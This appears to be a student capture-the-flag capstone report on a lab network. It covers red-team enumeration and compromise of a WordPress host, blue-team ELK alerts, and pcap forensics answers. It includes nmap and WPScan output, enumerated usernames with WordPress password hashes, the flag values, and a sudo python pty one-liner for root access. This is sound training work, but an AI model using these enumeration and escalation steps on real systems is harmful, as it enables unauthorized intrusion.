``

Final Project

- Offensive Report
- Defensive Report
- Network Report
- Docs
    - Packet Capture
    - Flags
    - Nmap Scan
    - WP Scan
    - WP Hashes

Offensive Report

Red Team: Summary of Operations

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

```
$ nmap ... -sV -oN namp_scan.txt 192.168.1.0/24
```

NMAP Scan Output

This scan identifies the services below as potential points of entry:

- Target 1
  - Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
    - Port 22 OpenSSH 6.7p1
    - Port 80 HTTP Apache httpd 2.4.10 (Debian)
    - Port 111 RPCBind 2-4 (RPC #1000000)
    - Port 139 NetBios-SSN Samba smb 3.X - 4.X (workgroup: Workgroup)
    - Port 445 NetBios-SSN Samba smb 3.X - 4.X (workgroup: Workgroup)

The following vulnerabilities were identified on each target:

- Target 1
  - Word Press Enumartion
    - Scan Output
  - Brute Force

- Weak and Insecure Passwords

Exploitation

The Red Team was able to penetrate `Target 1` and retrieve the following confidential data:

- Target 1
  - `flag1{b9bbcb33e11b80be759c4e844862482d}`:

```
cd /var/www/html
grep -r flag
```

- `flag2{fc3fd58dcdad9ab23faca6e9a36e581c}`:

```
cd /var/www
cat flag.txt
```

- `flag3{afc01ab56b50591e7dccf93122770cd2}`:

```
mysql -u root -p
use wordpress
select * from wp_posts
```

- `flag4{715dea6c055b9fe3337544932f2941ce}`:

```
ssh steven@192.168.110
sudo python -c 'import pty;pty.spawn("/bin/bash");'
```

Defensive Report

Blue Team: Summary of Operations

Table of Contents

- Network Topology
- Description of Targets
- Monitoring the Targets
- Patterns of Traffic & Behavior
- Suggestions for Going Further

Network Topology

The following machines were identified on the network:

- Elk
  - **Operating System**: Linux, Ubuntu
  - **Purpose**:SIEM
  - **IP Address**: 192.168.1.100
- Capstone
  - **Operating System**: Linux, Ubuntu
  - **Purpose**: Vulnerable machine used to test alerts
  - **IP Address**: 192.168.1.105
- Kali
  - **Operating System**: Linux, Kali
  - **Purpose**: Standard kali install used to attack other machines
  - **IP Address**: 192.168.1.90
- Target1
  - **Operating System**: Linux, Debian
  - **Purpose**: Exposes vulnerable WordPress Server that sends logs to ELK
  - **IP Address**: 192.168.1.110
- Target2

- **Operating System**: Linux, Debian
- **Purpose**: A more difficult WordPress target. Server that sends logs to ELK
- **IP Address**: 192.168.1.115

Description of Targets

The target of this attack was: `Target 1 |192.168.1.110`.

Target 1 is an Apache web server and has SSH enabled, so ports 80 and 22 are possible ports of entry for attackers. As such, the following alerts have been implemented:

Monitoring the Targets

Traffic to these services should be carefully monitored. To this end, we have implemented the alerts below:

HTTP Request Size Monitor

Alert 1 is implemented as follows:

- **Metric**: http.request.bytes
- **Threshold**: 3500
- **Vulnerability Mitigated**: Denial of Service
- **Reliability**: This alert generates some false positives because when the site is very busy it will alert, however using this allert will be able to deterime when it is time for an upgrade to allow for more traffic.

Excessive HTTP Errors

Alert 2 is implemented as follows:

- **Metric**: http.response.status_code
- **Threshold**: 400
- **Vulnerability Mitigated**: Denial of Service
- **Reliability**: This alert does not generate as many false positives because it is looking for when the site replys to a user with an error.

CPU Usage Monitor

Alert 3 is implemented as follows:

- **Metric**: system.process.cpu.total.pct
- **Threshold**: 0.5
- **Vulnerability Mitigated**: Denial of Service
- **Reliability**: This alert generates some false positives because on more busy days this alert will pick up that the system is being used more.

Network Report

Network Forensic Analysis Report

Time Thieves

You must inspect your traffic capture to answer the following questions:

1. What is the domain name of the users' custom site?
    1. `frank-n-ted.com`
2. What is the IP address of the Domain Controller (DC) of the AD network?
    1. `10.6.12.12`
3. What is the name of the malware downloaded to the 10.6.12.203 machine?
    1. DesktopExport
4. Upload the file to VirusTotal.com.
    1. MalwareUpload
5. What kind of malware is this classified as?
    1. Trojan

Vulnerable Windows Machine

1. Find the following information about the infected Windows machine:
    - Host name
        - Rotterdam-PC
    - IP address
        - 172.16.4.205
    - MAC address
        - 00:59:07:b0:63:a4
2. What is the username of the Windows user whose computer is infected?
    1. matthijs.devries
3. What are the IP addresses used in the actual infection traffic?

    1. 31.7.62.214
4. As a bonus, retrieve the desktop background of the Windows host.

Illegal Downloads

1. Find the following information about the machine with IP address `10.0.0.201`:
    - MAC address
        - 00:16:17:18:66:c8
    - Windows username
        - elmer.blanco
    - OS version
        - Windows 10
2. Which torrent file did the user download?
    1. Betty_Boop_Rythm_on_the_Reservation.avi.torrent

Docs

Packet Capture

Use this link to download the pcap file.

PACP

Flags

```
flag1{b9bbcb33e11b80be759c4e844862482d}
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
flag3{afc01ab56b50591e7dccf93122770cd2}
flag4{715dea6c055b9fe3337544932f2941ce}
```

Nmap Scan

```
# Nmap 7.80 scan initiated Wed Mar  2 16:48:49 2022 as: nmap -sV -oN nmap_scan 192.168.1.0/24
Nmap scan report for 192.168.1.1
Host is up (0.00074s latency).
Not shown: 995 filtered ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
2179/tcp open  vmrdp?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
MAC Address: 00:15:5D:00:04:0D (Microsoft)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.1.100
Host is up (0.00070s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
9200/tcp open  http    Elasticsearch REST API 7.6.1 (name: elk; cluster: elasticsearch; Lucene
8.4.0)
MAC Address: 4C:EB:42:D2:D5:D7 (Intel Corporate)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.1.105
Host is up (0.00075s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29
MAC Address: 00:15:5D:00:04:0F (Microsoft)
Service Info: Host: 192.168.1.105; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.1.110
Host is up (0.0010s latency).
```

```
Not shown: 995 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.10 ((Debian))
111/tcp open  rpcbind     2-4 (RPC #100000)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.1.115
Host is up (0.00073s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.10 ((Debian))
111/tcp open  rpcbind     2-4 (RPC #100000)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:11 (Microsoft)
Service Info: Host: TARGET2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.1.90
Host is up (0.0000080s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.1p1 Debian 5 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar  2 16:49:17 2022 -- 256 IP addresses (6 hosts up) scanned in 28.17
seconds
```

Docs

WP Scan

```
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                        Version 3.7.8
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[32m[+][0m URL: http://192.168.1.110/wordpress/
[32m[+][0m Started: Wed Mar  2 17:46:09 2022

Interesting Finding(s):

[32m[+][0m http://192.168.1.110/wordpress/
 | Interesting Entry: Server: Apache/2.4.10 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[32m[+][0m http://192.168.1.110/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
```

```
[32m[+][0m http://192.168.1.110/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[32m[+][0m http://192.168.1.110/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[32m[+][0m WordPress version 4.8.18 identified (Latest, released on 2022-01-06).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.1.110/wordpress/, Match: '-release.min.js?ver=4.8.18'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.1.110/wordpress/, Match: 'WordPress 4.8.18'

[34m[i][0m The main theme could not be detected.


[34m[i][0m No plugins Found.


[34m[i][0m No themes Found.


[34m[i][0m No Timthumbs Found.


[34m[i][0m No Config Backups Found.


[34m[i][0m No DB Exports Found.


[34m[i][0m No Medias Found.


[34m[i][0m User(s) Identified:
```

```
[32m[+][0m steven
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[32m[+][0m michael
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[32m[+][0m WPVulnDB API OK
 | Plan: free
 | Requests Done (during the scan): 0
 | Requests Remaining: 23

[32m[+][0m Finished: Wed Mar  2 17:46:27 2022
[32m[+][0m Requests Done: 3381
[32m[+][0m Cached Requests: 22
[32m[+][0m Data Sent: 907.91 KB
[32m[+][0m Data Received: 550.537 KB
[32m[+][0m Memory used: 309.898 MB
[32m[+][0m Elapsed time: 00:00:18
```

Docs

WP Hashes

```
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
```